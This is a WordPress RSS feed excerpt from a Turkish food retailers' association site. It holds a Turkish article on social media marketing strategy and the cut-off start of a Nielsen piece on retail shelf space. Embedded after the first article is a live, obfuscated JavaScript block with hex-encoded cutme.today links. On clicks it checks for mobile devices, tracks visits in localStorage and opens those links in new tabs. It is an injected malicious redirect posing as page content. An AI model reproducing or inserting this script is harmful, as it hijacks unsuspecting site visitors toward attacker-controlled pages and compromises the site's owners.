					<description><![CDATA[<p>Günlük hayatımızın vazgeçilmez bir parçası haline gelen dijitalle bağımız, hayatımızı çok hızlı bir şekilde değiştirdi. Mobil cihazlar artık uzvumuzdan farksız. İnternetsiz bir ortam düşünülemediği gibi Pazarlama 4.0 döneminde pazarlamanın dinamikleri de dijital dünyada şekilleniyor. Bu dinamiklerden biri de kuşkusuz, sosyal medya! Sosyal medya araçlarını kullanım oranları yükseldikçe, markalar için hedef kitlelerine ulaşmanın en etkili yolu [&#8230;]</p>
<p>The post <a href="https://www.gidaperakendecileri.org/xbox-one-to-launch-in-china-this-month-after-all/">Müşteri İçin Sanaldan Öte Yeni Bir Dünya  “Sosyal Medya”</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="td-paragraph-padding-1">
<h3>Günlük hayatımızın vazgeçilmez bir parçası haline gelen dijitalle bağımız, hayatımızı çok hızlı bir şekilde değiştirdi. Mobil cihazlar artık uzvumuzdan farksız. İnternetsiz bir ortam düşünülemediği gibi Pazarlama 4.0 döneminde pazarlamanın dinamikleri de dijital dünyada şekilleniyor. Bu dinamiklerden biri de kuşkusuz, sosyal medya! Sosyal medya araçlarını kullanım oranları yükseldikçe, markalar için hedef kitlelerine ulaşmanın en etkili yolu da bu mecralarda etkili olmaktan geçiyor. İyi bir sosyal medya pazarlamasıyla bir adım öne geçmek ve yalnızca bugünün değil, asıl önemlisi geleceğin müşterisiyle kalpten bir bağ kurmak daha mümkün gibi görünüyor. Bunun yolu da geleceğin müşterisi için sanal bir dünya değil, yeni, etkili ve samimi bir dünya sunmak…</h3>
<p>Dijital pazarlama ajansı We Are Social, Hootsuite iş birliği ile hazırladığı “Digital in 2017 Global Overview” raporunda, 238 ülkeden topladığı verilerle 106 sayfalık bir rapor hazırladı. Bu raporda; internet ve dijitalin gelişimiyle ilgili güncel bilgiler, istatistikler ve trendler yer alıyor. Dijital bağlantıların ve sosyal ağların hayatımızı nasıl değiştirdiğine değinmeden önce rapordan bazı dikkat çekici noktaların altını çizelim. Rapora göre bugün dünyanın yarısından fazlası en az 1 adet akıllı telefon kullanıyor. Dünya nüfusunun üçte ikisi ise en az bir cep telefonu sahibi. Dünya genelinde web trafiğinin yarısından fazlası artık cep telefonundan geliyor. Dünya nüfusunun beşte birinden fazlası ay içerisinde internetten alışveriş yapıyor. Türkiye içinse tablo şöyle: Türkiye’de 48 milyon kişi internete bağlanıyor. Mobil kullanıcı sayısı 71 milyonken, sosyal medyaya mobilden bağlanan kullanıcı sayısı ise 42 milyon.<br />
Türkiye’de 2016 Ocak ayından bu yana internet kullanıcı sayısı %4 ile 2 milyon, aktif sosyal medya kullanıcısı sayısı ise %14 ile 6 milyon artmış durumda. Sosyal medyayı mobilden kullanan kişi sayısıysa son bir yıl içerisinde %17 oranında arttı. Aynı rapora göre Türkiye’deki cihaz kullanıcılarının %95’i cep telefonu sahibi ve %75’i akıllı telefon kullanıyor. Dizüstü ve masaüstü bilgisayar kullanımı %51 oranındayken televizyon, %98 ile hala hayatın önemli bir parçası konumunda. Kullanıcılar günün ortalama 7 saatini bilgisayar karşısında, 3 saatini telefon üzerinden internete bağlanarak ve 3 saatini sosyal medya platformlarında geçiriyor. Televizyon karşısında harcanan zaman, ortalama 2 saat&#8230;</p>
<p>Dünyada ve Türkiye’de kullanım oranlarına değinmişken, internetin ve sosyal ağların hem müşterileri hem de şirketleri nasıl değiştireceğini bundan 20 yıl önce öngören bir isme de değinmekte fayda var: Harvard Üniversitesi Berkmen Merkezi&#8217;nde ProjectVRM&#8217;nin kurucusu ve Silikon Vadisi&#8217;nde yaratıcı reklam firmasının da kurucu ortaklarından biri olan David Doc Searls. Eski bir gazeteci olan Doc Searls, internetle tanıştığında 47 yaşındaydı ancak bunu bir dönüm noktası olarak değerlendirmeyi başardı. Bugün dünyada internet guruları arasında sayılan Doc Searls, 1999 yılında kaleme aldığı “Cluetrain Manifestosu” adlı kitabında 95 madde yayınlayarak yeni medya ve iletişim kurallarına göre şirketlerin, markaların ve organizasyonların kendini nasıl yenilemesi gerektiğine, nasıl iletişim kurulması ve interneti nasıl kullanması gerektiğine değindi. Geleneksel tek taraflı kitle iletişimi yerine bireylere yönelik iki yönlü iletişim yapılması gerektiğini, tüketici ve izleyiciyle diyalog kurulması, gelen tepkilerin değerlendirilmesi, sosyal ağlar ve bloglarla iletişimin sağlanması gerektiğini belirten Doc Searls’ın öngörüleri bugün geçerliliğini koruyor.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-465 size-full" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2.jpg" alt="" width="787" height="525" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2.jpg 787w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması2-630x420.jpg 630w" sizes="(max-width: 787px) 100vw, 787px" /></p>
</div>
<div class="td-paragraph-padding-1">
<h3><strong>SOSYAL MEDYA PAZARLAMASI NEDEN ÖNEMLİ?</strong></h3>
<p>Sosyal medya pazarlaması işletmelerin pazarlama iletişimi ve markalaşma hedeflerine ulaşmaları için çeşitli sosyal paylaşım ağlarını kullanarak sürdürdükleri dijital pazarlama faaliyetlerini içeriyor. Sosyal medya pazarlamasının öncelikli alanı, pazarlama hedefleri çerçevesinde sosyal paylaşım amaçlı içerik, video ve fotoğraf/resim vs. oluşturmak. Binlerce takipçiyle içerik paylaşımı imkânı, işletmeler için sosyal medya pazarlamasının sağladığı önemli faydalardan biri. Marka bilinirliğinin artırılması, sadık müşteri oluşturulması markaya olan güvenin arttırılması, pazarlama maliyetlerinin düşürülmesi, müşteri deneyimlerinin takip edilmesi, taleplerin daha iyi anlaşılması ve bu konuda detaylı analizlerin yapılması, sosyal medya pazarlamasıyla çok daha kolay bir şekilde sağlanabiliyor.</p>
<p>Dünyada sosyal medya kullanımı her geçen gün artıyor. Yalnızca Facebook, dünyadaki toplam internet trafiğinin %20’sinden fazlasını elinde tutuyor. Durum böyle olunca da hedef kitleye ulaşabilmek ve doğru bir iletişim kurmak için sosyal medya pazarlamasının ne kadar etkili şekilde gerçekleştirildiği daha da büyük önem kazanıyor. Ve tabi, etkili sosyal medya pazarlamasının da olmazsa olmazları var.</p>
<h3><strong>HEDEF KİTLENİZİ TANIYIN</strong></h3>
<p>Doğru sosyal medya platformlarını seçmek, başarılı bir sosyal medya pazarlamasının olmazsa olmazı… Sizin için en doğru ve verimli kanalı seçebilmenizde ise hedef kitlenizi iyi tanıyor olmanızın rolü büyük. Potansiyel müşterilerinizin hangi sosyal medya kanallarını kullandığını öğrenmeli ve bu kanallarda ne kadar zaman harcadıklarını, hangi zamanlarda aktif olduklarını ve birbirleriyle nasıl etkileşim kurduklarını saptamalısınız.</p>
<h3><strong><img loading="lazy" decoding="async" class="alignnone wp-image-468 size-full" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3.jpg" alt="" width="787" height="535" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3.jpg 787w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3-300x204.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3-768x522.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3-696x473.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması3-618x420.jpg 618w" sizes="(max-width: 787px) 100vw, 787px" />NE İSTEDİĞİNİZİ BELİRLEYİN</strong></h3>
<p>Sosyal medya pazarlamasıyla gerçekten neye ulaşmak istediğiniz de son derece önemli. Örneğin, marka bilinirliğinizi mi yoksa satışlarınızı mı arttırmak istiyorsunuz? Yoksa yalnızca müşterinizle sıcak ve samimi bir bağ kurmak için mi sosyal medya kanallarını tercih ediyorsunuz? Eğer neye ulaşmaya çalıştığınızı bilmiyorsanız performansınızı da ölçemezsiniz. Sosyal medya hedefleriniz açık ve tanımlanmış olmalı. Hedeflerinizin neresinde olduğunu ölçümleyebilmelisiniz, bunun için de ulaşılabilir hedefler belirlemelisiniz. Hedeflerinizi zamana, kaynaklara ve pazarlama bütçenize göre belirlemelisiniz.</p>
<h3><strong>ANAHTAR BAŞARI ÖLÇÜLERİ</strong></h3>
<p>Sosyal medya pazarlama stratejinizin hedeflerini belirlemenizin yanı sıra ne kadar efektif olduğunu ölçmeniz de bir o kadar önemli. Bunun için de stratejinizin başarısını basit ve direkt olarak takip edebileceğiniz metriklere ihtiyacınız var. Aklınızda bulundurmanız gereken beş nokta şunlar: Web sitenize yönlendirilen trafik, etkileşim/erişim, topluluk büyümesi ve etkileşimi, duyarlılık, geri dönüş. Bunlar arasından seçiminizi hedeflerinize göre yapmalısınız.</p>
<h3><strong>NASIL İLERLEYECEKSİNİZ?&nbsp;</strong></h3>
<p>Bulunduğunuz mevcut sosyal medya alanını bilmeden işiniz için efektif ve gerçekçi bir sosyal medya pazarlama planı oluşturamazsınız. Peki, sosyal medya varlığınızı nasıl denetlersiniz? Bunun için, hangi sosyal medya platformlarında daha aktif olduğunuza, bu ağlardaki profillerinizin iyileştirilmiş olup olmadığına, her bir sosyal ağda kaç takipçiniz olduğuna ve hangi ağın hedefinize uygun olarak size daha çok getiri sağladığına ve rakipleriniz karşısındaki durumunuza bakmalısınız.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-469 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4-300x200.jpg" alt="" width="300" height="200" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4-630x420.jpg 630w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/sosyal_medya_pazarlaması4.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />EN VERİMLİ AĞI SEÇİN &nbsp;</strong></h3>
<p>En iyi sosyal medya işletimi araçlarını seçmek size zaman kazandırır. Peki, sizin için en iyi olan sosyal medya işletimi araçlarını nasıl seçeceksiniz? Burada en önemli noktalardan biri, sosyal medya ile neye ulaşmak istediğiniz. Öte yandan sosyal medya ile neler yapmayı hedeflediğiniz de önem taşıyor. Örneğin, ücretli sosyal medya kampanyaları mı düzenlemek istiyorsunuz yoksa sosyal dinleme mi yapmak istiyorsunuz? Unutmayın ki sosyal medya stratejinizin başarı ya da başarısızlığı, içeriğinize de bağlı.</p>
<h3><strong>“TEKNİK OLARAK HER ŞEY TAMAM AMA…”</strong></h3>
<p>Sosyal medya pazarlamasına yönelik olarak teknik açıdan her şeyi eksiksiz yaptığınızı ancak yine de yolunda gitmeyen bir şeyler olduğunu düşünüyorsanız, işin tekniğinin yanı sıra dikkat edilmesi gereken farklı noktalar da var. Örneğin, müşterilerinizi daha fazla dinlemeli ve daha az konuşmalısınız. Hedef kitlenizi iyi araştırmalı ve ihtiyaçlarını iyi belirlemelisiniz. Öte yandan yalnızca ürün ve hizmetlerinizin tanıtımına odaklanır ve başka hiçbir şey yapmazsanız, kitleniz sizi dinlemeyi bırakır. Takipçilerinize değer vermeli ve onların dikkatlerini çekecek içerikler oluşturmalısınız. “Nicelikten çok kalite” sosyal medya pazarlamasının en önemli konularından biri… Unutmayın, içeriğinizle düzenli olarak etkileşimde bulunan 1 milyon takipçiye sahip olmak, hiç ilgilenmeyen 10 milyon takipçiden daha iyidir. Bu sebeple kaliteli içerik üretimi önceliğiniz olmalı.</p>
</div>
<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x74\x53\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x67\x55\x55\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x64\x55\x62\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x68\x43\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x5a\x70\x6a\x34\x63\x364','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x69\x56\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x41\x61\x66\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x6a\x53\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x48\x4f\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x53\x63\x71\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script></p>
<p>The post <a href="https://www.gidaperakendecileri.org/xbox-one-to-launch-in-china-this-month-after-all/">Müşteri İçin Sanaldan Öte Yeni Bir Dünya  “Sosyal Medya”</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.gidaperakendecileri.org/xbox-one-to-launch-in-china-this-month-after-all/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Değişen Perakende Ortamında  Alışverişçiye Rafta Ulaşmak</title>
		<link>https://www.gidaperakendecileri.org/springfest-one-fashion-show-at-the-university-of-michigan/</link>
					<comments>https://www.gidaperakendecileri.org/springfest-one-fashion-show-at-the-university-of-michigan/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Jun 2019 12:52:21 +0000</pubDate>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Sektörel Bilgiler]]></category>
		<guid isPermaLink="false">http://td_uid_90_5d136a854733f</guid>

					<description><![CDATA[<p>FMCG pazarı daha belirsiz ve her zamankinden daha hızlı değişiyor. İstikrarlı büyümeyle gelirde ve marjlarda artış elde etmek herkesin hedefi fakat bunu sağlamak, süratle evrilen perakende ortamında ve değişen alışverişçi alışkanlıklarıyla giderek daha da zorlaşıyor. Yazı: Nielsen Türkiye Dünya&#8217;da FMCG endüstrisi yavaşlamayla karşı karşıya çünkü günümüzde alışverişçiler her zamankinden daha az net gelire sahipler ve [&#8230;]</p>
<p>The post <a href="https://www.gidaperakendecileri.org/springfest-one-fashion-show-at-the-university-of-michigan/">Değişen Perakende Ortamında  Alışverişçiye Rafta Ulaşmak</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="158" class="elementor elementor-158">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-69ddbd1 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="69ddbd1" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-ede1e69" data-id="ede1e69" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap">
							</div>
		</div>
				<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-c0ee67f" data-id="c0ee67f" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-694b984 elementor-widget elementor-widget-image" data-id="694b984" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img decoding="async" src="https://www.gidaperakendecileri.org/wp-content/plugins/elementor/assets/images/placeholder.png" title="" alt="" loading="lazy" />															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-23c30c1" data-id="23c30c1" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap">
							</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-73670ab1 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="73670ab1" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3f26afb0" data-id="3f26afb0" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-7453530a elementor-widget elementor-widget-text-editor" data-id="7453530a" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><strong>FMCG pazarı daha belirsiz ve her zamankinden daha hızlı değişiyor. İstikrarlı büyümeyle gelirde ve marjlarda artış elde etmek herkesin hedefi fakat bunu sağlamak, süratle evrilen perakende ortamında ve değişen alışverişçi alışkanlıklarıyla giderek daha da zorlaşıyor.</strong></p><p> </p><p>Yazı: Nielsen Türkiye</p><p><br />Dünya&#8217;da FMCG endüstrisi yavaşlamayla karşı karşıya çünkü günümüzde alışverişçiler her zamankinden daha az net gelire sahipler ve bu geliri nasıl harcayacakları konusunda daha eğitimliler. Alışverişçiler harcadıkları paraya dikkat ediyor ve daha ucuz markaları ve private label’ları tercih edebiliyor ve aynı zamanda tercih sayıları da artıyor. Perakende dünyası; hipermarketler ve discounterlar gibi yeni mağaza formatları ve internet ve mobil gibi yeni kanallar eklenerek hızla genişliyor. Alışverişçilerin ayrıca farklı kanal tercih etme eğilimleri artıyor ve bundan dolayı alışverişçilerin tercihlerinin satışa dönüşünü tahmin etmek artık daha da zor görünüyor. Bir taraftan tüketicilerin daha yüksek kaliteli gıda ve diğer paketli ürünler için harcama yapması; diğer taraftan ise artan sayıda tüketicinin değere odaklı olması sonucu oluşan baskıyla birlikte, yüksek rekabette bir perakende ortamı geleneksel pazarı daraltıyor.</p><p> </p><p>Her yıl ortalama 10.000 yeni ürünün perakende raflarında yerini aldığı düşünüldüğünde ve özellikle daha küçük mağaza formatlarındaki kısıtlı alan da dikkate alındığında perakendecilerin sürekli karşılaştığı zorluk ortaya çıkıyor: Alan en iyi şekilde nasıl yönetilip verimli hale getirilebilir?</p><p><img loading="lazy" decoding="async" class="alignright wp-image-397 size-medium" src="http://gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1-300x202.jpg" alt="" width="300" height="202" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1-300x202.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1-768x518.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1-696x470.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1-622x420.jpg 622w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi1.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" /></p><p>RAF: TEDARİK VE TALEBİN SOMUT OLARAK KESİŞTİĞİ YER</p><p>Genelde raf alanı ile ilgili kritik birçok sorun içgüdüsel bir takım yanıtlara dayandırılarak çözümlenmeye çalışılıyor. Avrupa genelinde discount perakendecilerinin artan başarılarıyla, hipermarket ve süpermarket zincirleri de geniş ürün çeşitliliklerini yeniden değerlendirerek daha az çeşide odaklanma yoluna gidiyorlar. <br />Modern kanaldaki kolaylık/küçük mağaza formatının büyümesini göz önüne aldığımızda ve yeni mağaza açma yatırımlarından online operasyonlara geçişi düşündüğümüzde; raf alanının hiç olmadığı kadar sıkıştırılmış olduğunu görüyoruz. Bu ise yavaş satan ürün gruplarının gözlem altında olduğu anlamına geliyor. Fakat daha düşük satış hızına sahip ürünleri raftan kaldırmak mutlak çözüm sağlamıyor hatta tüm kategoriye zarar bile verebiliyor. Dolayısıyla hangi ürün gruplarının ve spesifik olarak hangi ürünlerin kategoriye gerçekten değer kattığını ve bu ürünlerin raftaki konum ve alan dağılımlarını da bu 